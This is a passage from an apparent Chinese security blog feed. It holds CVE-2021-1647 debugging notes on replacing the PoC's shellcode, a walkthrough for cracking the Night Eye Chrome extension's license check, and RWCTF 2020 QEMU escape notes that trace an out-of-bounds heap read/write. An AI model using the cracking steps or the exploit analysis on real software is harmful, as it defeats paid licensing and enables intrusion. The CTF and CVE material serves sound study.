title="Reference"></a>Reference</h2><ul><li><a href="https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit">https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit</a></li><li><a href="https://www.cnblogs.com/wzk-0000/p/11083008.html">https://www.cnblogs.com/wzk-0000/p/11083008.html</a></li><li><a href="https://www.kalmarunionen.dk/writeups/sudo/">https://www.kalmarunionen.dk/writeups/sudo/</a></li><li><a href="https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31">https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31</a></li><li><a href="https://bestwing.me/CVE-2021-3156-analysis..html">https://bestwing.me/CVE-2021-3156-analysis..html</a></li></ul>]]></content>
</entry>
<entry>
<title>CVE-2021-1647</title>
<link href="/2021/01/26/CVE-2021-1647/"/>
<url>/2021/01/26/CVE-2021-1647/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个漏洞是微软在一月份修复的一个Windows Defender RCE, 根据描述来看是Windows Defender在扫描文件的时候导致的漏洞利用, 配合各种自动下载 ( 比如微信 ) 伤害应该很大, 据说已经出现在野利用, 网上有人发了漏洞的poc, 不其实已经算exp了, 只不过执行的是cmd, 简单看了一波poc, 没找到什么平时玩别人exp看到的shellcode之类的, 所以借着这个漏洞研究一波, 顺带学习一下windbg, 做个踩坑记录.</p><h2 id="patch"><a href="#patch" class="headerlink" title="patch"></a>patch</h2><p>根据腾讯的分析文章来看, 漏洞出现在<code>mpengine.dll</code>的<code>CAsprotectDLLAndVersion::RetrieveVersionInfoAndCreateObjects</code>函数</p><p><img src="/images/CVE-2021-1647/2021-01-26-23-29-49.png" alt=""></p><p>即这里malloc的堆内存不够大导致后续的循环中出现了越界写</p><p>而新版本的<code>mpengine.dll</code>中对参数进行了检查, 咱也看不懂就贴一张腾讯的图吧</p><p><img src="/images/CVE-2021-1647/2021-01-26-23-33-23.png" alt=""></p><p><img src="/images/CVE-2021-1647/2021-01-26-23-34-36.png" alt=""></p><h2 id="windbg笔记"><a href="#windbg笔记" class="headerlink" title="windbg笔记"></a>windbg笔记</h2><p>按照知乎的一篇文章配置了一下串口调试Windows内核</p><p>windbg连接上被调试的虚拟机后, 按如下过程操作:</p><ol><li><code>!process 0 0 MsMpEng.exe</code> 获取目标进程EPROCESS信息, 至于这个exe是我在放入exp导致Windows defender服务崩溃的时候, 发现会导致这个进程崩溃, 所以猜测应该是这个进程</li><li><code>.process /p EPROCESS</code> 切换到目标进程空间</li><li><code>.reload /f /user</code> 重新加载用户态符号, 从微软的服务器下载, 这一步需要在环境变量中设置<code>_NT_SYMBOL_PROXY = 127.0.0.1:8080</code> 后面懂的都懂</li><li><code>.process /i /p EPROCESS</code> 侵入式调试</li><li><code>bp mpengine!CAsprotectDLLAndVersion::RetrieveVersionInfoAndCreateObjects</code> 下断点</li></ol><p>断下来以后, 可以看到函数入口地址<code>00007ffd cebd0778</code></p><p>在ida中看到入口地址是<code>0x75A290778</code>, malloc的地址是<code>0x75A290A57</code>, 相对偏移<code>0x2df</code></p><p>所以在windbg里的地址是<code>00007ffd cebd0a57</code></p><h2 id="shellcode修改"><a href="#shellcode修改" class="headerlink" title="shellcode修改"></a>shellcode修改</h2><p>根据dalao的分析文来看, poc里的<code>0x40a210</code>函数中, 把shellcode复制进了目标内存后执行的, 所以我们的目标是如何把cmd的shellcode改成我们自己的</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">qmemcpy(v7, (<span class="keyword">const</span> <span class="keyword">void</span> *)a1, <span class="keyword">sizeof</span>(v7));</span><br><span class="line">v11 = v8;</span><br><span class="line">qmemcpy(v9, (<span class="keyword">const</span> <span class="keyword">void</span> *)a4, <span class="keyword">sizeof</span>(v9));</span><br><span class="line">qmemcpy(v8, (<span class="keyword">const</span> <span class="keyword">void</span> *)a3, <span class="keyword">sizeof</span>(v8));</span><br></pre></td></tr></table></figure><p>可以看到是用memcpy复制的shellcode, shellcode是在栈里保存的参数(32位), 且大小分别为80, 716, 80</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li>腾讯的分析文章: <a href="https://mp.weixin.qq.com/s/NNlE39JJZC2zQTlkMS5hNg">https://mp.weixin.qq.com/s/NNlE39JJZC2zQTlkMS5hNg</a></li><li>windbg基本操作: <a href="https://blog.csdn.net/sxr__nc/article/details/107287513">https://blog.csdn.net/sxr__nc/article/details/107287513</a></li><li>windbg打断点: <a href="https://www.cnblogs.com/vcerror/p/4289116.html">https://www.cnblogs.com/vcerror/p/4289116.html</a></li><li>双机调试配置流程: <a href="https://zhuanlan.zhihu.com/p/114538001">https://zhuanlan.zhihu.com/p/114538001</a></li><li>符号下载流程: <a href="https://blog.csdn.net/counsellor/article/details/104721338">https://blog.csdn.net/counsellor/article/details/104721338</a></li><li>dalao的分析: <a href="https://blog.csdn.net/AhRMo_WK/article/details/114068727">https://blog.csdn.net/AhRMo_WK/article/details/114068727</a></li><li><a href="https://mp.weixin.qq.com/s/CjsntvNM6_zMZF1IGirMPg">https://mp.weixin.qq.com/s/CjsntvNM6_zMZF1IGirMPg</a></li></ul>]]></content>
</entry>
<entry>
<title>ELF文件格式学习</title>
<link href="/2021/01/25/ELF%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%AD%A6%E4%B9%A0/"/>
<url>/2021/01/25/ELF%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<h2 id="ELF文件基本结构"><a href="#ELF文件基本结构" class="headerlink" title="ELF文件基本结构"></a>ELF文件基本结构</h2><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>ELF(Executable and Linkable Format)文件是Linux中的<code>目标文件</code>, 分三类:</p><ol><li>可重定位文件(Relocatable File), 包含由编译器生成的<code>代码</code>和<code>数据</code>, 链接器会把它和别的目标文件链接起来, 创建<code>可执行文件</code>或者<code>共享目标文件</code>, 后缀一般是<code>.o</code></li><li>可执行文件(Executable File), 即用来运行的程序</li><li>共享目标文件(Shared Object File), 包含代码和数据, 是我们所称的库文件, 一般以<code>.so</code>结尾, 有两种使用场景<ol><li>链接器(Link eDitor, ld)可能会处理它和其它可重定位文件以及共享目标文件, 生成另一个目标文件</li><li>动态链接器(Dynamic Linker)将它和可执行文件以及其它共享目标组合在一起生成<code>进程镜像</code></li></ol></li></ol><h3 id="文件格式"><a href="#文件格式" class="headerlink" title="文件格式"></a>文件格式</h3><p>用一张ctf-wiki的图来看一下</p><p><img src="/images/ELF文件格式学习/2021-01-25-23-33-03.png" alt=""></p><p>目标文件的格式有两种, 一种是用来链接的文件, 一种是可执行文件</p><h3 id="数据形式"><a href="#数据形式" class="headerlink" title="数据形式"></a>数据形式</h3><h3 id="字符表示"><a href="#字符表示" class="headerlink" title="字符表示"></a>字符表示</h3><h3 id="ELF-Header"><a href="#ELF-Header" class="headerlink" title="ELF Header"></a>ELF Header</h3><h3 id="Program-Header-Table"><a href="#Program-Header-Table" class="headerlink" title="Program Header Table"></a>Program Header Table</h3><h3 id="Section-Header-Table"><a href="#Section-Header-Table" class="headerlink" title="Section Header Table"></a>Section Header Table</h3><h2 id="程序加载"><a href="#程序加载" class="headerlink" title="程序加载"></a>程序加载</h2><h2 id="程序链接"><a href="#程序链接" class="headerlink" title="程序链接"></a>程序链接</h2><h2 id="程序执行流程"><a href="#程序执行流程" class="headerlink" title="程序执行流程"></a>程序执行流程</h2><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2>]]></content>
<tags>
<tag> basically </tag>
</tags>
</entry>
<entry>
<title>一款Chrome插件破解记录</title>
<link href="/2021/01/14/%E4%B8%80%E6%AC%BEChrome%E6%8F%92%E4%BB%B6%E7%A0%B4%E8%A7%A3%E8%AE%B0%E5%BD%95/"/>
<url>/2021/01/14/%E4%B8%80%E6%AC%BEChrome%E6%8F%92%E4%BB%B6%E7%A0%B4%E8%A7%A3%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h2 id="Background"><a href="#Background" class="headerlink" title="Background"></a>Background</h2><p>越来越多的软件和网站都推出了夜间模式, 所以最近夜间冲浪的时候经常从黑色的IDE切换到白色的网页的时候, 总会瞎眼一波, 就从谷歌插件商店搜了几个能把网页转换成夜间模式的插件, 最终决定用<code>Night Eye</code>. </p><p>不同于一般的只会修改<code>background-color: black</code>的插件, 这款插件通过算法来进行各种颜色调整, 既可以让网页变成夜间模式, 也不会导致黑色背景和黑色字体融为一体. </p><p>官网: <a href="https://nighteye.app/">https://nighteye.app/</a></p><p>新用户有三个月免费试用, 然后是一年9刀或者40刀永久激活, 所以这里进行一波破解, 有能力购买的老板的还是建议支持一下官方.</p><p>本文通过对这款插件做的一点微小的工作来进行一个解的破, 顺带学习一波chrome的插件开发和调试, 由于代码虽然压缩了但是各种函数名字符号都还在, 可以通过搜索直接定位到检查函数, 所以搞起来比较简单.</p><h2 id="Chrome插件结构"><a href="#Chrome插件结构" class="headerlink" title="Chrome插件结构"></a>Chrome插件结构</h2><p>Chrome插件基本由mainfest.json, content-script, background.js, popup组成</p><ul><li>mainfest.json: 插件的配置文件</li><li>content-script: 用来向页面注入css和js</li><li>background.js: 常驻于浏览器的一个脚本, 始终在运行</li><li>popup: 即点击插件的logo以后弹出的窗口</li></ul><h2 id="Chrome插件调试技巧"><a href="#Chrome插件调试技巧" class="headerlink" title="Chrome插件调试技巧"></a>Chrome插件调试技巧</h2><h3 id="寻找插件源码"><a href="#寻找插件源码" class="headerlink" title="寻找插件源码"></a>寻找插件源码</h3><p>在chrome的地址栏输入<code>chrome://version/</code>后, 可以看到<code>Profile Path: C:\Users\username\AppData\Local\Google\Chrome\User Data\Default</code></p><p>右键点击插件logo, 在<code>Manage extensions</code>里可以看到插件的ID, 我们这里的Night Eye的ID是<code>alncdjedloppbablonallfbkeiknmkdi</code>, 于是插件代码路径为: <code>C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Extensions\alncdjedloppbablonallfbkeiknmkdi</code></p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-44-50.png" alt=""></p><p>其中home.js对应的是前文中的popup的代码</p><p>把源码复制一份出来进行修改, 由于代码改过了, 所以必须删除原版以后, 用chrome加载插件</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-20-37.png" alt=""></p><h3 id="通过调试找checker"><a href="#通过调试找checker" class="headerlink" title="通过调试找checker"></a>通过调试找checker</h3><p>根据脚本不同, 检查的代码位置也可能不一样, 比如Night Eye会在打开网页的时候提示试用过期, 所以猜测检查代码应该是位于background.js或者content.js</p><h4 id="调试background"><a href="#调试background" class="headerlink" title="调试background"></a>调试background</h4><p>在<code>Manage extensions</code>页面里, 点击<code>background page</code>即可调试background的代码</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-50-34.png" alt=""></p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-56-11.png" alt=""></p><h4 id="调试popup"><a href="#调试popup" class="headerlink" title="调试popup"></a>调试popup</h4><p>右键点插件logo, <code>Inspect pop-up</code></p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-52-17.png" alt=""></p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-56-34.png" alt=""></p><h4 id="调试content-script"><a href="#调试content-script" class="headerlink" title="调试content-script"></a>调试content-script</h4><p>随便打开一个网页, 在开发者工具里, <code>Source</code>页面, 左上角选<code>Content script</code>即可</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-54-56.png" alt=""></p><h4 id="checker"><a href="#checker" class="headerlink" title="checker"></a>checker</h4><p>chrome的开发者工具可以格式化被压缩的js代码:</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-10-57-33.png" alt=""></p><p>根据弹窗里的各种信息, 通过搜索<code>activation</code>, <code>check</code>等字符串, 定位到一个激活成功的函数</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-09-00.png" alt=""></p><p>看起来是通过ajax向服务器验证以后根据返回来确定激活结果的, 在这里打个断点调试一波</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-12-01.png" alt=""></p><p>右边的Scope可以看到各种变量的值, 这里的e应该就是服务器返回的数据, 满足if的条件时才会进入激活成功函数</p><p>所以我们在源码里直接搜索这个函数修改一波, 直接把if的条件改成true, 改完以后点这里重新加载</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-22-22.png" alt=""></p><p>可以看到激活成功了</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-24-09.png" alt=""></p><p>但是我发现在打开新网页的时候又会变成过期状态, 所以推测background.js里可能存在检查, 调试一波, 方法类似前面的, 通过搜索<code>action</code>, <code>license</code>等字符串找到一个检查函数</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-26-29.png" alt=""></p><p>打上断点后随便找个网页打开, 重新加载插件就可以断了</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-31-51.png" alt=""></p><p>可以看到t应该是服务器返回的数据, 是一个json, 我们把修改后的json字符串直接写进去试试</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-35-04.png" alt=""></p><p>我寻思, 应该能行</p><p><img src="/images/一款Chrome插件破解记录/2021-01-14-11-35-29.png" alt=""></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本文通过对一款夜间模式的chrome插件的源码探索和调试, 找到了证书检查函数并进行了修改, 进而可以白嫖, 通过实战学习了一波chrome的插件原理和开发, 调试流程. 由于这款插件代码压缩不够充分, 可以直接定位到检查函数, 破解起来相对容易一些.</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html">https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html</a></li><li><a href="https://blog.csdn.net/qustdong/article/details/46046553">https://blog.csdn.net/qustdong/article/details/46046553</a></li></ul>]]></content>
<tags>
<tag> misc </tag>
</tags>
</entry>
<entry>
<title>Rwctf 2020 Baby Escape</title>
<link href="/2021/01/09/rwctf-2020-baby-escape/"/>
<url>/2021/01/09/rwctf-2020-baby-escape/</url>
<content type="html"><![CDATA[<p><code>r -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep -m 64M -monitor none -device fun -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -nographic</code></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">FunState</span>{</span></span><br><span class="line"> PCIDevice_0 pdev;</span><br><span class="line"> MemoryRegion_0 mmio;</span><br><span class="line"> uit32_t_0 addr;</span><br><span class="line"> uit32_t_0 <span class="built_in">size</span>;</span><br><span class="line"> uit32_t_0 idx;</span><br><span class="line"> uit32_t_0 result_addr;</span><br><span class="line"> Funreq *req;</span><br><span class="line"> AddressSpace_0 *as;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="number">00000000</span> FunState struc ; (<span class="keyword">sizeof</span>=<span class="number">0xA00</span>, align=<span class="number">0x10</span>, copyof_4860)</span><br><span class="line"><span class="number">00000000</span> pdev PCIDevice_0 ?</span><br><span class="line"><span class="number">000008F</span>0 mmio MemoryRegion_0 ?</span><br><span class="line"><span class="number">000009E0</span> addr dd ?</span><br><span class="line"><span class="number">000009E4</span> <span class="built_in">size</span> dd ?</span><br><span class="line"><span class="number">000009E8</span> idx dd ?</span><br><span class="line"><span class="number">000009</span>EC result_addr dd ?</span><br><span class="line"><span class="number">000009F</span>0 req dq ? ; offset</span><br><span class="line"><span class="number">000009F</span>8 as dq ? ; offset</span><br><span class="line"><span class="number">00000</span>A00 FunState ends</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">FunReq</span>{</span></span><br><span class="line"> uint32_t_0 total_size;</span><br><span class="line"> <span class="keyword">char</span> *<span class="built_in">list</span>[<span class="number">127</span>];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function">FunReq *__cdecl <span class="title">create_req</span><span class="params">(uint32_t_0 <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> uint32_t_0 i; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line"> uint32_t_0 t; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line"> FunReq *req; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">size</span> > <span class="number">0x1FBFF</span> ) <span class="comment">// size = 0x1fbff</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0L</span>L;</span><br><span class="line"> req = (FunReq *)<span class="built_in">malloc</span>(<span class="number">0x400</span>uLL); </span><br><span class="line"> <span class="built_in">memset</span>(req, <span class="number">0</span>, <span class="keyword">sizeof</span>(FunReq));</span><br><span class="line"> req->total_size = <span class="built_in">size</span>; <span class="comment">// total_size = 0x1ffbf</span></span><br><span class="line"> t = (req->total_size >> <span class="number">10</span>) + <span class="number">1</span>; <span class="comment">// t = 0x1ffbf >> 10 + 1 = 126 + 1 = 127</span></span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < t; ++i )</span><br><span class="line"> req-><span class="built_in">list</span>[i] = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(<span class="number">0x400</span>uLL);<span class="comment">// i: 0-126</span></span><br><span class="line"> <span class="keyword">return</span> req;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> __cdecl <span class="title">delete_req</span><span class="params">(FunReq *req)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> uint32_t_0 i; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"> uint32_t_0 t; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line"> t = (req->total_size >> <span class="number">10</span>) + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < t; ++i )</span><br><span class="line"> <span class="built_in">free</span>(req-><span class="built_in">list</span>[i]);</span><br><span class="line"> <span class="built_in">free</span>(req);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> __cdecl <span class="title">handle_data_read</span><span class="params">(FunState *fun, FunReq *req, uint32_t_0 val)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> ( req->total_size && val <= <span class="number">0x7E</span> && val < (req->total_size >> <span class="number">10</span>) + <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> put_result(fun, <span class="number">1u</span>);</span><br><span class="line"> dma_memory_read_9(fun->as, (val << <span class="number">10</span>) + fun->addr, req-><span class="built_in">list</span>[val], <span class="number">0x400</span>uLL);</span><br><span class="line"> put_result(fun, <span class="number">2u</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> __cdecl <span class="title">handle_data_write</span><span class="params">(FunState *fun, FunReq *req, uint32_t_0 val)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> ( req->total_size && val <= <span class="number">0x7E</span> && val < (req->total_size >> <span class="number">10</span>) + <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> put_result(fun, <span class="number">1u</span>);</span><br><span class="line"> dma_memory_write_9(fun->as, (val << <span class="number">10</span>) + fun->addr, req-><span class="built_in">list</span>[val], <span class="number">0x400</span>uLL);</span><br><span class="line"> put_result(fun, <span class="number">2u</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>fun_mmio_read和fun_mmio_write</p><p>进入函数以后有一波相同的操作,根据size来计算一个rax进行跳转</p><p>根据size的值, 4位一组进行操作</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">mov rax, [rbp+addr] ;size = 10/9/8, rax = 8, size = 7/6/5/4, rax = 4, size=3/2/1/0, rax = 0, 盲猜一个size=12/13/14/15, rax=12</span><br><span class="line"> ;size = 16/17/18/19, rax = 16 = 0x10, 满足跳转</span><br><span class="line">lea rdx, ds:0[rax*4] ;rdx = 0x20 = 32 = rax * 4</span><br><span class="line">lea rax, unk_A450B0 ;rax = rip + 0x573362 = 0x55b24522906c ->const</span><br><span class="line">mov eax, [rdx+rax] ;eax = [rip + 0x573362 + rax * 4] = 0xffa8ccd4</span><br><span class="line">cdqe ;eax = 0xffffffffffa8ccd4</span><br><span class="line">lea rdx, unk_A450B0 ;rdx = rip + 0x573356 = 0x55b24522906c ->const</span><br><span class="line">add rax, rdx ;rax = rax + rdx = 0xffffffffffa8ccd4 + 0x55b24522906c = 0x1000055b244cb5d40 溢出1位 = 0x55b244cb5d40</span><br><span class="line">db 3Eh</span><br><span class="line">jmp rax ;跳转,我们的目的是跳到0x4D1D64,另外几个块是0x4D1D1C, 0x4D1D2E, 0x4D1D40, 0x4D1D52(size大于10跳到这里)</span><br><span class="line"> ;即0x55b244cb5d64, 0x1000055b244cb5d64 - 0x55b24522906c = 0xffffffffffa8ccf8</span><br></pre></td></tr></table></figure><p>pwndbg> x/30gx 0x56401a18706c<br>0x56401a18706c: 0xffa8cd2effa8ccb0 0xffa8cd2effa8cd2e<br>0x56401a18707c: 0xffa8cd2effa8ccc2 0xffa8cd2effa8cd2e<br>0x56401a18708c: 0xffa8cd2effa8ccd4 0xffa8cd2effa8cd2e<br>0x56401a18709c: 0xffa8cd2effa8cce6 0xffa8cd2effa8cd2e<br>0x56401a1870ac: 0xffa8cd46ffa8ccf8 0xffa8ce38ffa8ce38<br>0x56401a1870bc: 0xffa8cd58ffa8ce38 0xffa8ce38ffa8ce38<br>0x56401a1870cc: 0xffa8cd6affa8ce38 0xffa8ce38ffa8ce38<br>0x56401a1870dc: 0xffa8cd7cffa8ce38 0xffa8ce38ffa8ce38<br>0x56401a1870ec: 0xffa8cd8effa8ce38 0xffa8ce38ffa8ce38<br>0x56401a1870fc: 0xffa8cdc8ffa8ce38 0xffa8ce38ffa8ce38<br>0x56401a18710c: 0xffa8cdf6ffa8ce38 0x696d2f77682f2e2e<br>0x56401a18711c: 0x632e6e75662f6373 0x6e7566006e756600<br>0x56401a18712c: 0x0000006f696d6d2d 0x0000000000000000<br>0x56401a18713c: 0x5f69637000000000 0x6c6165725f6e7566</p><p>0xb0 + 0x6c = 0x11c<br>0xc2 + 0x6c = 0x12e<br>0xd4 + 0x6c = 0x140<br>0xe6 + 0x6c = 0x152<br>0xf8 + 0x6c = 0x164</p><ul><li>get size: 0x4d1d1c 0</li><li>get addr: 0x4d1d2e 4</li><li>getraddr: 0x4d1d40 8</li><li>get idx : 0x4d1d52 12</li><li>write : 0x4d1d64 16</li><li>return : 0x4d1d9a 20</li></ul><p>再看fun_mmio_write, const=0x55d9ef87c0b0</p><p> 0x55d9ef87c0b0: 0xffa8ce38ffa8cd46 0xffa8ce38ffa8ce38<br> 0x55d9ef87c0c0: 0xffa8ce38ffa8cd58 0xffa8ce38ffa8ce38<br> 0x55d9ef87c0d0: 0xffa8ce38ffa8cd6a 0xffa8ce38ffa8ce38<br> 0x55d9ef87c0e0: 0xffa8ce38ffa8cd7c 0xffa8ce38ffa8ce38<br> 0x55d9ef87c0f0: 0xffa8ce38ffa8cd8e 0xffa8ce38ffa8ce38<br> 0x55d9ef87c100: 0xffa8ce38ffa8cdc8 0xffa8ce38ffa8ce38<br> 0x55d9ef87c110: 0x682f2e2effa8cdf6 0x662f6373696d2f77<br> 0x55d9ef87c120: 0x6e756600632e6e75 0x696d6d2d6e756600</p><ul><li>set size: 0x4D1DF6, 0x1000055d9ef308df6 - 0x55d9ef87c0b0 = 0xffffffffffa8cd46 <- 0x55d9ef87c0b0 - 0x55d9ef87c0b0 = 0x00 / 4 = 0</li><li>set addr: 0x4D1E08, 0x1000055d9ef308e08 - 0x55d9ef87c0b0 = 0xffffffffffa8cd58 <- 0x55d9ef87c0c0 - 0x55d9ef87c0b0 = 0x10 / 4 = 4</li><li>setraddr: 0x4D1E1A, 0x1000055d9ef308e1a - 0x55d9ef87c0b0 = 0xffffffffffa8cd6a <- 0x55d9ef87c0d0 - 0x55d9ef87c0b0 = 0x20 / 4 = 8</li><li>set idx: 0x4D1E2C, 0x1000055d9ef308e2c - 0x55d9ef87c0b0 = 0xffffffffffa8cd7c <- 0x55d9ef87c0e0 - 0x55d9ef87c0b0 = 0x30 / 4 = 12</li><li>read : 0x4D1E3E, 0x1000055d9ef308e3e - 0x55d9ef87c0b0 = 0xffffffffffa8cd8e <- 0x55d9ef87c0f0 - 0x55d9ef87c0b0 = 0x40 / 4 = 16</li><li>create: 0x4D1E78, 0x1000055d9ef308e78 - 0x55d9ef87c0b0 = 0xffffffffffa8cdc8 <- 0x55d9ef87c100 - 0x55d9ef87c0b0 = 0x50 / 4 = 20</li><li>delete: 0x4D1EA6, 0x1000055d9ef308da6 - 0x55d9ef87c0b0 = 0xffffffffffa8cdf6 <- 0x55d9ef87c110 - 0x55d9ef87c0b0 = 0x60 / 4 = 24</li></ul><p>那么先调用create, , 可以看到130047作为val进入了fun_mmio_write函数</p><p>之后再用mmio_write(20, 0)创建req</p><p>调用mmio_write(16, 0)来触发read</p><ol><li><p>fun_mmio_read函数</p><ol><li>读FunState的各种数据到val, 包括addr, size, idx, result_addr</li><li>handle_data_write, dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); 应该是用来将req里指定val的数据写入到Address_Space, 可以用来修改堆块数据</li></ol></li><li><p>fun_mmio_write</p><ol><li>向FunStatus的addr, size, idx, result_addr写入val中的数据</li><li>create_req, 传入FunStatus的size, 创建FunReq的对象, 设置它的total_size</li><li>delete_req, 根据total_size free list</li><li>handle_data_read, dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); 用来把Address_Space的东西读取到req里,用来读取堆块数据</li></ol></li></ol><p>具体再看handle_data_write函数, 首先检查req对象是否为空, 然后将fun->idx作为val, 调用handle(fun, req, fun->idx), 判断req->total_size != 0, val <= 0x7e, val < (req->total_size) >> 10 + 1</p><p>create的时候, size最大是0x1fbff, 会创建0x1fbff >> 10 + 1 = 126 + 1 = 127个req->list, 编号为0-0x7e, 设置total_size = size = 0x1fbff</p><p>而handle_data_read和handle_data_write的时候, val的条件是小于等于0x7e, 若此时val = 0x7e < (0x1fbff >> 10) + 1 = 0x7f, 是可以通过if的, 在调用dmm_memory_read和write的时候, 第二个参数的值为0x7e << 10 + fun->addr, 0x7e个堆块的地址分别是0-0x3ff, 0x400-0x7ff, 以此类推, 最后一个堆块的地址 是(0x7e - 1 * 0x400) = 0x1f400 - 0x1f7ff, 但是0x7e << 10 = 0x1f800, 再加上我们可控的fun->addr, 会有一个任意读写</p><ol><li>set size = 0x1fbff</li><li>create 0x1fbff: mmio_write(0, 130047)</li><li>set idx = 0x7e mmio_write(12, 0x7e)</li><li>set fun->addr = </li><li>handle_data_read</li></ol><p>size = 0x1fbff<br>req->total_size = 0x1fbff<br>t = 126 + 1 = 127<br>b <em>fun_mmio_read<br>b </em>fun_mmio_write<br>r -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep -m 64M -monitor none -device fun -append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr” -nographic</p><pre><code>io_regions = {{ addr = 4273934336, size = 4096, type = 0 '\000', memory = 0x55920cc61460, address_space = 0x55920bd0b900 }, {</code></pre><p> addr = 0,<br> size = 130047,<br> idx = 0,<br> result_addr = 0,<br> req = 0x0,<br> as = 0x55920a73fe00</p><p>-L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep -m 64M -monitor none -device fun -append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr” -nographic</p><p> ► 0x56463441ebb6 <handle_data_read+124> call dma_memory_read <dma_memory_read><br> rdi: 0x564635076e00 (address_space_memory) ◂— 0x0<br> rsi: 0x1001f800<br> rdx: 0x7f0ec4857bd0 ◂— 0x0<br> rcx: 0x400<br>mmio_mem: 0x7fe32d058000<br>userbuf_va: 0x7fe32d057000<br>userbuf_pa: 0x2b22000</dma_memory_read></handle_data_read+124></p>]]></content>
<tags>
<tag> qemu </tag>
</tags>
</entry>
<entry>
<title>Fuzz 初探</title>
<link href="/2020/05/18/fuzz-%E5%88%9D%E6%8E%A2/"/>
<url>/2020/05/18/fuzz-%E5%88%9D%E6%8E%A2/</url>
